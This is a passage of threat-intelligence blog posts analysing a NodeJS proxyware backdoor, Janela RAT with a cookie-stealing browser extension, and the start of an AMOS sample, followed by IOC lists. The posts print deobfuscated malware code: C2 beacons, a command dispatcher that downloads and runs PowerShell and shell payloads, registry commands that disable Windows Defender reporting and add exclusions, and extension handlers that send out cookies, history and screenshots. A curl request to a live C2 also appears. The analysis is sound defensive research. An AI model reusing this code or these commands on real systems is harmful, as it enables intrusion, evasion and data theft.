      "$nodePath\node-v20.8.0-win-x64\$filename" 3788
    
  
"@
$exeTaskXml | Set-Content -Path "$nodePath\node-v20.8.0-win-x64\t.xml"
schtasks /create /tn "Nodejs Update" /xml "$nodePath\node-v20.8.0-win-x64\t.xml" /f
Remove-Item -Path "$nodePath\node-v20.8.0-win-x64\t.xml"

The downloaded script is a fairly large block of data obfuscated using obfuscator[.]io and be deobfuscated using a deobfuscator[1].

Script

The NodeJS code accounts for a variety of operating systems:

          var _0xb68c63 = {
            'darwin': "ioreg -rd1 -c IOPlatformExpertDevice",
            'win32': _0x3aa0d6["win32" !== process.platform ? '' : "ia32" === process.arch && process.env.hasOwnProperty("PROCESSOR_ARCHITEW6432") ? "mixed" : "native"] + "\\REG.exe QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography /v MachineGuid",
            'linux': "( cat /var/lib/dbus/machine-id /etc/machine-id 2> /dev/null || hostname ) | head -n 1 || :",
            'freebsd': "kenv -q smbios.system.uuid || sysctl -n kern.hostuuid"
          };

The script version for this one is set to:

2.0.0-js

It contains a lot of functionality that we will show across multiple versions but for this one it will send off data to the C2:

                          return _0xd7120e("https://".concat(_0x5eb0ae, '/d'), {
                                'method': 'POST',
                                'body': JSON.stringify(_0x60c983),
                                'headers': {
                                'Content-Type': "application/json"
                                }

The data sent off is collected near the C2 list:

var _0x60c983 = {
    'os_type': _0x10cdcc.type(),
    'os_name': _0x10cdcc.platform(),
    'os_release': _0x10cdcc.release(),
    'os_version': _0x10cdcc.version(),
    'os_hostname': _0x10cdcc.hostname(),
    'os_arch': _0x10cdcc.arch(),
    'machine_id': _0x4e3c9a(true),
    'agent_version': _0x103b3e,
    'session_id': _0x16c458(16).toString("hex")
  };
  if (process.argv.length > 2) {
    _0x60c983.publisher_id = process.argv[2];
  }
  var _0x2bae0e = function _0x24cdb4() {
    var _0x491856 = ["ilesystemwcm.com", "diskcleanu.com", "devicesetupx.com", "maintenancesat.com"].map(function (_0x3b8e21) {
      return Buffer.from(_0x3b8e21, "hex").toString('utf-8');
    });

This data aligns with previous work by AhnLab[2] in which they mention that the response in their case was powershell to be executed. These systems were responsive but potentially had their commands or payloads delayed. A quick pivot in VirusTotal:

content:"'agent_version':" tag:javascript

Finds a bunch of samples to go through but one in particular led to a task installer that also installs NodeJS and a script with persistence:

2e6175681d7b498b6d5a14b09c505f475010ab019098e2f50e565d4f8c45a2cc

$installPath = "$env:PROGRAMDATA\Microsoft\Wlansvc\Profiles\Interfaces\{$([guid]::NewGuid())}"
$scriptFile = "$installPath\$([guid]::NewGuid())"
New-Item -Path $installPath -ItemType Directory -Force
$from = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9rdWNoaWt1LmRpZ2l0YWwvdXBkYXRlcy9LQjgwMTY0NDMy"))

The script download location was still alive

hxxps://kuchiku[.]digital/updates/KB80164432

KB file:

The below shows how it processes the possible commands before they are then executed using the onboard ShellSession class.

                do {
                  console.debug(`Using ${t}`);
                  console.debug(this.pingBody);
                  yield a.HttpRequest.post(`${t}/d`, {
                    method: "POST",
                    body: JSON.stringify(this.pingBody),
                    headers: {
                      "Content-Type": "application/json"
                    }
                  }).then(t => r(this, undefined, undefined, function* () {
                    if (t && Array.isArray(t)) {
                      const e = [];
                      yield t.reduce((t, o) => r(this, undefined, undefined, function* () {
                        yield t;
                        return new Promise((t, s) => r(this, undefined, undefined, function* () {
                          try {
                            const r = o.split(":");
                            0;
                            const s = yield a.HttpRequest.downloadFile(r.slice(1).join(":"), {
                              "x-mid": this.pingBody.machine_id,
                              "x-uid": this.pingBody.machine_uuid
                            }, i.extname(r[1]));
                            if (s) {
                              n.push(s);
                            }
                            switch (r[0].toLowerCase()) {
                              case "node":
                                if (s) {
                                  e.push(`"${process.argv[0]}" "${s}"`);
                                }
                                break;
                              case "cmd":
                                if (s) {
                                  e.push(`"${s}"`);
                                }
                                break;
                              case "ps1":
                                if (s) {
                                  e.push(`powershell.exe -ExecutionPolicy Bypass "${s}"`);
                                }
                                break;
                              case "ow":
                                if (s) {
                                  e.push(`copy "${s}" "${__filename}"`);
                                }
                                break;
                              case "sh":
                                if (s) {
                                  e.push(`chmod +x "${s}"`);
                                  e.push(`"${s}"`);
                                }
                            }
                            t(s);
                          } catch (t) {
                            console.debug(t);
                            yield this.logResult({
                              o: "",
                              e: t.toString(),
                              ec: undefined,
                              s: undefined
                            });
                            this.cleanupFiles(n);
                            process.exit(1);
                          }
                        }));
                      }), Promise.resolve());
                      if (0 === e.length) {
                        yield this.logResult({
                          o: `Got ${e.length} commands.`,
                          e: null,
                          ec: undefined,
                          s: undefined
                        });
                        process.exit(0);
                      }
                      const o = new f.ShellSession(s.default.getDefaultShell());
                      yield o.exec(e).then(t => r(this, undefined, undefined, function* () {
                        yield this.logResult(t);
                        this.cleanupFiles(n);
                        process.exit(0);

The block of data used for C2 communications is slightly obfuscated but after cleaning it up a bit some of the acronyms make sense:

e.rl = e.hexStringToDate = e.randomUUID = e.GLOBALS = e.si = e.rs = e.av = undefined;
      e.av = "AGENT_VERSION";
      e.rs = "REMOTE_SERVERS";
      e.si = "session_id";
      e.GLOBALS = {
        [e.av]: "0.3.0",
        [e.rs]: () => "win32" === process.platform ? ["https://kuchiku[.]digital/", "https://4tressx[.]com/", "https://rt-guard[.]com/", "https://screenner[.]com/"] : "darwin" === process.platform ? ["https://coremactools[.]com/", "https://smoothmacos[.]com/"] : undefined
      };

The data sent to the C2 is labeled pingBody and will be sent to the /d URI:

                    method: "POST",
                    body: JSON.stringify(this.pingBody),
                    headers: {
                      "Content-Type": "application/json"
                    }

The data structure aligns closely with the previous script we looked at:

              os_type: o.type(),
              os_name: o.platform(),
              os_release: o.release(),
              os_version: o.version(),
              os_hostname: o.hostname(),
              os_arch: o.arch(),
              machine_id: r.machineIdSync(true),
              machine_uuid: s()

So I took the data from the previous script and sent it off the C2 to check:

% curl -k hxxps://kuchiku[.]digital/d --header "Content-Type: application/json" --user-agent "" -d '{"os_type":"Windows_NT","os_name":"win32","os_release":"19041","os_version":"Windows 10","os_hostname":"2b9747645336","os_arch":"x64","machine_id":"2dd60d6f-93c8-4495-98f4-5fbba79d7f05","agent_version":"2.0.0-js","session_id":"9d93ab6199d8f67fdf52779f6cd197d9","publisher_id":"2554"}' -v
*   Trying 34.236.205.158:443...
* Connected to kuchiku.digital (34.236.205.158) port 443 (#0)
* ALPN: offers h2
* ALPN: offers http/1.1
* [CONN-0-0][CF-SSL] (304) (OUT), TLS handshake, Client hello (1):
* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, Server hello (2):
* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, Unknown (8):
* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, Certificate (11):
* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, CERT verify (15):
* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, Finished (20):
* [CONN-0-0][CF-SSL] (304) (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / AEAD-CHACHA20-POLY1305-SHA256
* ALPN: server accepted http/1.1
* Server certificate:
*  subject: CN=kuchiku.digital
*  start date: Aug 30 18:44:34 2025 GMT
*  expire date: Nov 28 18:44:33 2025 GMT
*  issuer: C=US; O=Let's Encrypt; CN=E7
*  SSL certificate verify ok.
> POST /d HTTP/1.1
> Host: kuchiku.digital
> Accept: */*
> Content-Type: application/json
> Content-Length: 283
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 03 Sep 2025 20:38:23 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 51
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"33-S7BKtbaJBENNY34GrHXptLBXXqU"
< 
["ps1:/srentrap/scnj.ps1","node:/srentrap/dnfd.js"]%

We get back two tasks to run;

scnj.ps1:

$uids = @("{3BC1471A-748E-48EE-94F3-024920ADA553}", "{FF820EDB-79A3-49B1-AFA0-7E2CD4090AA1}", "{D6640E00-FA29-47B7-99A3-3A63DC0A5D0E}")
foreach ($uid in $uids) {
    try {
        $baseKey = [Microsoft.Win32.RegistryKey]::OpenBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, [Microsoft.Win32.RegistryView]::Registry64)
        $subKey = $baseKey.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$uid", $true)
        if ($subKey) {
            $subKey.SetValue("SystemComponent", 1, [Microsoft.Win32.RegistryValueKind]::DWord)
            $subKey.Close()
        }
    }
    catch {
    }
}

Sets registry values based on the existence of GUIDs that appear to be related to other versions of Node.JS, setting this value will remove the program from the “Add or Remove Programs” list that users see:

\cmd.exe /d /s /c "reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{D6640E00-FA29-47B7-99A3-3A63DC0A5D0E}" /v SystemComponent /t REG_DWORD /d 1 /f"

The other task:

dnfd.js will execute a few hardcoded hexlified commands:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /reg:64 /f /v C:\
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /reg:64 /f /v SpyNetReporting /t REG_DWORD /d 0
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /reg:64 /f /v SubmitSamplesConsent /t REG_DWORD /d 2

Based on the path name of our two tasks ‘srentrap’ we were able to find a few zip and executables that are associated with this on VT and are still live:

/srentrap/mmv.zip
- 679bc81b6d1a9f8ed8ee44dd9daaef25f7e39d8f
Onboard DLL sets up as a proxy for monetization through Honeygain, UDP traffic over port 5001 or uses WSS
/srentrap/fm.zip
- 0f05930f680fd316a1c10f6ad69dbcddbe4e2dfb
Sets up the system to share internet for monetization through earn[.]fm
/srentrap/nftc.zip
- b5dfa3ea324bcbfb34635507472588083938a5b6
Delivers Infatica proxyware P2P monetization
/srentrap/odsync.zip
- 02f02a2b357912ba1cbffe2968cad9e740a62373
Packetlab monetization through sharing the infected systems internet
/srentrap/ofts.zip
- 1b6d5d58e1d6117ae8481d135a86a4ac33d1103b
Packetlab monetization through sharing the infected systems internet

At one point in time most of the C2s were returning an interesting message:

https://www.virustotal.com/gui/file/a50f8028eb53b29ed967d4d1d3b8715fab680ba12a79f297967d8fe93ab92d82/relations

Welcome to BMY distribution :)

While researching this we also stumbled upon a few extensions with code or infrastructure overlap, first was one talking to our kuchiku domain. Implicitly we were looking at this URL:

 https://kuchiku.digital/locations

Extension CRX:

ea26469298094c42a06df964190cc8864645adcd72aed6b6207c2a4195133a8b

The javascript code adds a listed for onCommitted which according to the developer documentation this will add a listener for when new pages are navigated to:

chrome.webNavigation.onCommitted.addListener((onCommittedArgs) => {
    console.log('onCommitted: ' + JSON.stringify(onCommittedArgs));
    const { frameType, parentFrameId, url, transitionQualifiers, transitionType } = onCommittedArgs;
    if (frameType === 'outermost_frame' && parentFrameId === -1 && url.match(/https?:\/\//)) {
        chrome.storage.local.get(['uuid'])
            .then(result => {
                fetch('https://kuchiku[.]digital/locations', {
                    method: 'POST',
                    cache: 'no-cache',
                    headers: { 'content-type': 'application/json' },
                    redirect: 'follow',
                    body: JSON.stringify({ url, transitionQualifiers, transitionType, uuid: result.uuid })
                })
                    .then(response => response.json())
                    .then(async response => {
                        if (!result.uuid && response && response.uuid) {
                            await chrome.storage.local.set({ uuid: response.uuid });
                        }
                        if (response && response.url) {
                            chrome.tabs.create({ active: false, url: response.url });
                        }
                    })
                    .catch(console.error)
            })
    }
});

The code looks like it sends the URL and some meta data about the transition to the new page and in response can get back a URL from the server that it will open as a new tab in the background:

                        if (response && response.url) {
                            chrome.tabs.create({ active: false, url: response.url });
                        }

Another extension we found based on powershell code overlap involved this file:

2603369ff392a3f7ddbb65a7e9635f567a5cfecd44d2d6aad4160ff9e740c1b2

This powershell file will download a few files:

$dllUrl = "hxxps://d2onbyq1xr6knr.cloudfront[.]net/kbdus.dll"
$dllDestination = "C:\Program Files\Google\Chrome\Application\kbdus.dll"

$genericFileUrl = "hxxps://d2onbyq1xr6knr.cloudfront[.]net/Chrome-Secure-Internet.crx"
$genericFileDestination = "C:\ProgramData\Google\Chrome-Secure-Internet\Chrome-Secure-Internet.crx"

$xmlUrl = "hxxps://d2onbyq1xr6knr.cloudfront[.]net/Chrome-Secure-Internet.xml"
$xmlDestination = "C:\ProgramData\Google\Chrome-Secure-Internet\Chrome-Secure-Internet.xml"

$regUrl = "hxxps://d2onbyq1xr6knr.cloudfront[.]net/c.reg"
$tmpFolder = "$env:TEMP\ppaks"
$regDestination = Join-Path $tmpFolder "c.reg"

The registry file for installing it:

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist]
"1"="modmbbaehigcaoljmcomajoacflgliga;file:///C:/ProgramData/Google/Chrome-Secure-Internet/Chrome-Secure-Internet.xml"

Inside the extension the manifest tells us a number of things:

    "content_scripts": [
        {
            "matches": [
                ""
            ],
            "all_frames": false,
            "js": [
                "content.js"
            ],
            "run_at": "document_start"
        },
        {
            "matches": [""],
            "all_frames": false,
            "js": ["i.js"],
            "run_at": "document_idle"
        }
    ],
    "host_permissions": [
        ""
    ],
    "update_url": "hxxps://u.chromesecure[.]com/update.xml"

The permissions paint a telling story of injecting scripts in all page loads but the main content I focused on was the content.js file which will download data from the C2 in encrypted format:

try {
      const _0x34c4ac = await fetch("hxxps://a.leru[.]info/r");
      if (!_0x34c4ac.ok) {
        return;
      }
      const {
        iv: _0x472385,
        data: _0x53fdfe
      } = await _0x34c4ac.json();
      const _0x537c5d = Uint8Array.from(atob("YWk1UUhYU0VDdWZLejFGNVJxNWxCcmhyU1dKYzRUbWs="), _0x1bc511 => _0x1bc511.charCodeAt(0x0));
      const _0x1a82dc = Uint8Array.from(atob(_0x472385), _0x2d12aa => _0x2d12aa.charCodeAt(0x0));
      const _0x48bc05 = Uint8Array.from(atob(_0x53fdfe), _0xe182f8 => _0xe182f8.charCodeAt(0x0));
      const _0x599886 = await crypto.subtle.importKey('raw', _0x537c5d, {
        'name': "AES-GCM"
      }, false, ["decrypt"]);
      const _0x1b871d = await crypto.subtle.decrypt({
        'name': "AES-GCM",
        'iv': _0x1a82dc
      }, _0x599886, _0x48bc05);
      const _0x437354 = new TextDecoder().decode(_0x1b871d);
      const _0x1b532a = JSON.parse(_0x437354);
      _0x5a33e4 = _0x1b532a.map((_0x435b91, _0x1ba393) => ({
        'id': parseInt(_0x435b91.id || _0x1ba393 + 0x1, 0xa),
        'domain': _0x435b91.rule.domain,
        'subdomain': _0x435b91.rule.subdomain || '*',
        'path': _0x435b91.rule.path || '/*',
        'redirectUrl': _0x435b91.red
      }));

Downloading the data:

{"iv": "hvad2gcnxiQOgD4y", "data": "s9nER5vDGWZwB8IhH7VSCFryH
..snip..

We can decrypt it by recreating the functionality in python:

>>> data = open('r.bin', 'r').read()
>>> t = json.loads(data)
>>> tt = t['data']
>>> len(tt)
386584
>>> blob= base64.b64decode(tt)
>>> key = base64.b64decode('YWk1UUhYU0VDdWZLejFGNVJxNWxCcmhyU1dKYzRUbWs=')
>>> len('hvad2gcnxiQOgD4y')
16
>>> iv = 'hvad2gcnxiQOgD4y'
>>> iv = base64.b64decode(iv)

For Subtle encryption the tag value for GCM is at the end:

>>> tag = blob[-16:]
>>> tag
b'\xd8\x0c=\x96\xb3\x96\xd9\xaf\xa3\xa1y\x0c\xfb\xa0*\xb6'
>>> from Crypto.Cipher import AES
>>> aes = AES.new(key,AES.MODE_GCM, iv)
>>> bbb = aes.decrypt_and_verify(blob[:-16], blob[-16:])
>>> bbb[:1000]
b'[{"id": "100578983", "rule": {"domain": "lojaglamourosa.com", "subdomain": "www", "path": "us/en*"}, "red": "https://www.cheapworth.com/shopnow.html?q=Lojaglamourosa.com&category=Lojaglamourosa.com#https%3A%2F%2Fus-go.kelkoogroup.net%2FsitesearchGo%3F.ts%3D1756728360817%26.sig%3Da20It02ML6Q9xUBtfoDQbZia0qE-%26affiliationId%3D96981971%26comId%3D100578983%26country%3Dus%26offerId%3Dc82ff61ba23a6afee639ea7a5a0700f9%26searchId%3D107610036717352_1756728360751_29303810%26service%3D36%26tokenId%3D494a19aa-ad6a-43ba-8a04-25f3e581da05%26originReferer%3Dwww.cheapworth.com%26custom1%3D5453eb2f-40ea-4151-a420-a06461e35b7c"}, {"id": "100578990", "rule": {"domain": "lsbeauty.com", "subdomain": "www", "path": "/*"}, "red": "https://www.cheapworth.com/shopnow.html?q=Lsbeauty.com&category=Lsbeauty.com#https%3A%2F%2Fus-go.kelkoogroup.net%2FsitesearchGo%3F.ts%3D1756728361063%26.sig%3DIRkylki8Vem3kFBDybvJQfPwScs-%26affiliationId%3D96981971%26comId%3D100578990%26country%3Dus%26offerId%3Dc9f49c048c5b110774b'

Looks like the redirects will be leveraged using the chrome tabs api to set the URL to the redirect URL downloaded:

        chrome.tabs.update(_0x502e26.tabId, {
          'url': _0xbd690a.redirectUrl
        });

IOCs

Network:

Installer downloads:

d18liq5eiez7ig.cloudfront.net/setup.exe
d17b7mkheg0tx6.cloudfront.net/FirmwareUpdate.exe
d256oosi84syhs.cloudfront.net/BandwidthLatency.exe
d3a22fjcbjuz60.cloudfront.net/BandwidthLatency.exe
dy1sndygrcwy9.cloudfront.net/setup.exe
pub-bfc34934a91a4893817098f73415917a.r2.dev/FirmwareUpdate.exe
raw.githubusercontent.com/hobbaboga/foot821/main/NTService.exe
raw.githubusercontent.com/pleaser124d/rest22/main/NTService.exe

Task downloads:

d1urezxtipuk1p.cloudfront.net/nettrace-task-1.0.0.xml

Honeygain proxybot:

snarpong.com
frosping.com
glippinger.com
gloopong.com
flewsnark.com
zrawsomble.com

PacketSDK:

packetsdk.io
packetsdk.xyz
packetsdk.net

Earn fm:

socket-backup.earn.fm
socket-prod.earn.fm

NodeJS backdoor related:

leafstacked[.]com
protocolstatus[.]com
memorydiagnostic[.]com
ferntier[.]com
a.pairnewtags[.]com
sd.unitlibrary[.]com
filerit[.]com
wqyspjbmkoapqql[.]s3[.]amazonaws[.]com
kuchiku[.]digital
d14vmbql41e8a5[.]cloudfront[.]net
ilesystemwcm[.]com
diskcleanu[.]com
devicesetupx[.]com
maintenancesat[.]com
pub-5babe3f305824d778728d1234a41a681[.]r2[.]dev
4tressx[.]com
rt-guard[.]com
screenner[.]com
coremactools[.]com
smoothmacos[.]com

Endpoint

\tp.ps1
\t.xml
\task.xml
schtasks.exe "schtasks.exe" /Create /TN "\Microsoft\Windows\NetTrace\RefreshNetworkInfo" /XML "C:\Users\user\AppData\Local\Temp\is-DA0KB.tmp\task.xml" /F

Extensions:

https://d2onbyq1xr6knr.cloudfront.net/Chrome-Secure-Internet.xml
chromesecure.com
d.leru.info
iejjekcilkagcliegmbjcohgaldckngm
modmbbaehigcaoljmcomajoacflgliga

References:

1: https://obf-io.deobfuscate.io/

2: https://asec.ahnlab.com/en/85798/

3: https://asec.ahnlab.com/en/89574/

4: https://asec.ahnlab.com/en/89574/

NodeJS backdoors delivering proxyware and monetization schemes was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Janela RAT and a stealer extension delivered together

Jason Reaves — Tue, 01 Jul 2025 20:04:44 GMT

By: Jason Reaves

Janela RAT appears to be a version or variant of BX RAT according to existing reporting, and was also mentioned targeting LATAM by ZScaler[3]. While doing some recent investigations into campaigns we stumbled on a campaign ending in the delivery of Janela along with a browser extension designed for stealing data and utilizing multiple files from various GitLab accounts.

MSI deliveries from gitlab accounts:

https://gitlab.com/mariogadu896/a5da3e9493a2b6993af982874c4a53f5/-/raw/main/_61b10e601b06.msi

Others:

installer:

907cff1b76b2e2e44fa6bb41e6b0502733592fee7c18bb9873b9ae2b88bf941c

Inside the installer is a number of files:


   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-06-12 20:58:46 ....A         8623               F_bbdbce168f31
2025-06-12 20:58:46 ....A      1578248               F_3bdda10aab90
2025-06-12 20:58:46 ....A          109               F_e69ef3b45260
2025-06-12 20:58:46 ....A          715               F_dfb49ddcd9b6
------------------- ----- ------------ ------------  ------------------------
2025-06-12 20:58:46            1587695      1622016  4 files

The files include a zip file and a number of scripts:

F_3bdda10aab90: Zip archive data, at least v2.0 to extract, compression method=deflate
F_bbdbce168f31: Unicode text, UTF-8 text, with CRLF line terminators
F_dfb49ddcd9b6: DOS batch file text, ASCII text, with CRLF line terminators
F_e69ef3b45260: DOS batch file text, ASCII text, with CRLF line terminators

Some of the scripts rely upon the execution flow completing through other scripts, such as the script for setting up the custom browser extension relies upon the extension being put in place but that happens later by another executable entirely.

$extensionPath = "C:\Users\Public\Documents\LPrKz6y2fG\3a5OxUe6"

$maxTries = 10
$try = 0
while ($try -lt $maxTries) {
    if (Test-Path $extensionPath) {
        Start-Sleep -Seconds 10
        break
    } else {
        Start-Sleep -Seconds 10
        $try++
    }
}

Ultimately looks for Chromium based browsers to add parameters to the execution to load the extension:

"--load-extension=`"$extensionPath`" --disable-extensions-except=`"$extensionPath`" -no-first-run"

One of the other scripts contains functionality for unzipping a zip file and building a powershell script to detonate a hardcoded EXE name:

echo $process = Start-Process -FilePath "LPrKz6y2fG.exe" -WorkingDirectory "%DEST_DIR%" -PassThru > "%TEMP%\start_process.ps1"
echo $process.WaitForExit() >> "%TEMP%\start_process.ps1"

start "" powershell -WindowStyle Hidden -Command "& '%TEMP%\start_process.ps1'; Remove-Item '%TEMP%\start_process.ps1'"

Inside the zip file:

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-06-12 20:58:44 .....          229          172  com.yourcompany.monitoringapp.json
2025-06-12 20:58:44 .....      2855936      1193307  LPrKz6y2fG.exe
2025-06-12 20:58:44 .....       384840       384022  LPrKz6y2fG.zip
2025-06-12 20:58:44 .....          256          261  LPrKz6y2fG.zip.sig
------------------- ----- ------------ ------------  ------------------------

The exe, ‘LPrKz6y2fG.exe’, is a GoLang binary that has has the password to the same named Zip file inside of it.

Inside of the zip file is a browser extension and a Janella RAT executable:

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-06-12 20:58:44 .....       294792       156139  BF32FB64-1EF9-4ABF-8806-8B182B7929D4.exe
2025-06-12 20:58:44 .....          256          289  BF32FB64-1EF9-4ABF-8806-8B182B7929D4.exe.sig
2016-07-08 12:47:08 .....       192000        81431  protobuf-net.dll
2025-06-12 20:58:44 .....          256          289  protobuf-net.dll.sig
2020-02-19 07:05:18 .....        20856        11440  System.Buffers.dll
2025-06-12 20:58:44 .....          256          289  System.Buffers.dll.sig
2022-05-08 00:31:02 .....       142240        59835  System.Memory.dll
2025-06-12 20:58:44 .....          256          289  System.Memory.dll.sig
2018-05-15 10:29:44 .....       115856        32896  System.Numerics.Vectors.dll
2025-06-12 20:58:44 .....          256          289  System.Numerics.Vectors.dll.sig
2020-02-19 07:05:16 .....        16768         8916  System.Runtime.CompilerServices.Unsafe.dll
2025-06-12 20:58:44 .....          256          289  System.Runtime.CompilerServices.Unsafe.dll.sig
2025-06-12 20:58:38 .....        83868        28990  3a5OxUe6/bg_d94f45fa.js
2025-06-12 20:58:38 .....          614          386  3a5OxUe6/ct_cb4f5a58.js
2025-06-12 20:58:38 .....         1299          757  3a5OxUe6/manifest.json
------------------- ----- ------------ ------------  ------------------------

The RAT exe name is also referenced in the GoLang binary in relation to a bunch of base64 encoded URLs:

Decoded URLs:

https://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file1.csvhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file2.yamlhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file3.xmlhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file4.csvhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file5.mdhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file6.md

Inside these files is a base64 encoded C2 domain:

% curl -k https://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file1.csv |base64 --decode
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    44  100    44    0     0     65      0 --:--:-- --:--:-- --:--:--    65
hxxps://w51w.worldassitencia[.]com

After processing the URLs it will also attempt to generate a config.json file which will be used by later stages:

This is interesting because part of the zip file previously unzipped is also a browser extension which has references to the config.json file:

            async loadConfig() {
                let e = await fetch(chrome.runtime.getURL("config.json"));
                if (!e.ok) throw new Error("Failed loading config.json");
                return await e.json()
            }

Commands issued from the C2 websocket all goes to a single function:

  }), this.socket.on("connect", 
      () => this.onConnected()), 
    this.socket.on("disconnect", 
      () => this.onDisconnected()), 
    this.socket.on("connect_error", 
      o => this.onError(o)), 
    this.socket.on("command", 
      o => this.handleCommand(o)), n = !0;

Extension command handler:

           handleCommand(e) {
                switch (e.action) {
                    case "screenshot":
                        this.captureScreenshot();
                        break;
                    case "execute":
                        this.executeNative(e.command);
                        break;
                    case "refresh":
                        this.collectReresh();
                        break;
                    case "version":
                        this.executeVersion(e);
                        break
                }
            }

Screenshot takes at most 800x600 screenshot and sends it off:

                maxWidth: e = 800,
                maxHeight: t = 600

ExecuteNative uses the Chrome.runtime API and chrome.runtime.sendNativeMessage to send the command to be executed to an EXE that will process it. The callback function will handle sending off the results:

           executeNative(e) {
                chrome.runtime.sendNativeMessage("com.yourcompany.monitoringapp", {
                    Command: e,
                    Type: "command"
                }, t => {
                    if (chrome.runtime.lastError) {
                        this.sendData("native_response", {
                            type: "response",
                            response: "[**EERRORRR**]" + chrome.runtime.lastError.message
                        });
                        return
                    }
                    this.sendData("native_response", {
                        type: "response",
                        response: t
                    })
                })
            }

CollectReferesh involves collecting the system info along with cookies, browsing history, (max 100 results), installed extensions and open tab listing:

            async collectReresh() {
                this.collectedData.systemInfo = await this.getSystemInfo(), this.collectedData.browserData = {
                    cookies: await this.getAllCookies(),
                    history: await this.getBrowserHistory(),
                    extensions: await this.getInstalledExtensions()
                }, this.collectedData.currentState = {
                    tabs: await this.getOpenTabs()
                }, this.sendData("ext_response", {
                    type: "refresh",
                    payload: this.collectedData
                }), chrome.storage.local.set({
                    lastDataCollection: new Date().toISOString()
                })
            }

ExecuteVersion will load a value that was initiated as an array:

        vr = []

        executeVersion(e) {
          vr = e.data
        }

This data is later used in a way to check if a value that should be a list of strings will be present in the url from the tab:

    function Ds(r) {
        try {
            return vr.some(e => r.includes(e))
        } catch {
            return !1
        }
    }

It appears that the generated config from the binary will also contain the repo list. This will be used for C2 communications over in this case websocket:

   let e = this.config,
                    t = e.repos,
                    n = !1;
                for (let s of t) try {
                    let i = await Ls.get(s);
                    this.socket = he(atob(i.data), {
                        transports: ["websocket"],
                        reconnection: !1,
                        query: {
                            clientId: e.clientId,
                            tipo: "extensao",
                            username: e.username,
                            computername: e.computername,
                            version: ft
                        }

The Janela RAT[3] binary itself is obfuscated with the free version of Eziriz .NET reactor[1], a deobfuscator for the free version still exists[2].

The key for decoding strings is the same as the one mentioned in the ZScaler blog:

public class Settings
{
 public static string PASSWORD = Convert.ToString(8521);

 public static string VERSION = "2.2";

IOCs

Network

team000analytics.safepurelink.com
w51w.worldassitencia.com
bulder.wordsuporttsk.com

da6b97b245c65193eb231de0314508759a69db35a8f76afc66b4757702a231d0
248ee6233a85daaa3ddc2d9aaf6f24a26969a1f46981aa2a13af0c661fe006d8

VBA related files

666ba2708be3fc6a208d1e961af343a8105959fa87bfd3322a36d6c4e57d1122
6ed7ec9d0c366310d647f44830a6b9bc353a0d8b9e3345253c770bb23a90bdd3
97364179ab942af483b973653b89c0dfb8ed5c7d56ed62dbbf7a62933c473fa6
e2a86247b7089a5ffb4d0a3c421cedc044c744d37852ebac17291855c54713cf
e200158dcca9b28c65d297cc2ff44a2183d8228568c2ebf98ac888d494e18649

Disk:

%TEMP%\start_process.ps1
C:\Users\Public\Documents\LPrKz6y2fG\3a5OxUe6

Git accounts:

https://gitlab.com/eduardolucenciosbizera/
https://gitlab.com/mariogadu896/
https://gitlab.com/bnewcbvgeral
https://gitlab.com/gitlabworkingg/

References

1: https://www.eziriz.com/dotnet_reactor.htm

2: https://0x1.gitlab.io/reverse-engineering/NETReactorSlayer/

3: https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech

Janela RAT and a stealer extension delivered together was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Amos hiding in GitHub

Jason Reaves — Wed, 11 Jun 2025 13:30:31 GMT

By: Jason Reaves

While tracking some recent AMOS campaigns I discovered an interesting sample:

9f8c5612c6bfe7ab528190294a9d5eca9e7dec3a7131463477ae103aeec5703b

The DMG file related to that file:

d46bbb399b19e476cc9c09db4b6a42fe4741439c88bafb8e6d9ed47061f2d315

Has an interesting referenced parent:

This zip file has a ITW URL of github:

This repo was recently created:

The repo uses the same link in it’s instructions for installation:

Inside the DMG is an obfuscated shellscript:

pMNtwU="${qrgOXyHS}${haBaldwv}${AgZQWfvd}${aALJjBwl}${ZLuuxJMU}${DCwoIEBB}${iBPcYvRY}${pjVUSbPR}${XuiBtxtK}${sSbnlSiF}${txnUzpPz}${qysYOcsj}${JUFshdOZ}${UcdziraY}${ohhOXrVy}${yuOSddSk}${AniCNXJa}${ihmUirVT}${BIjmHWwF}${NVruzFuM}${pEwadsjX}${ZEBEFKNP}${wufpLAuD}"

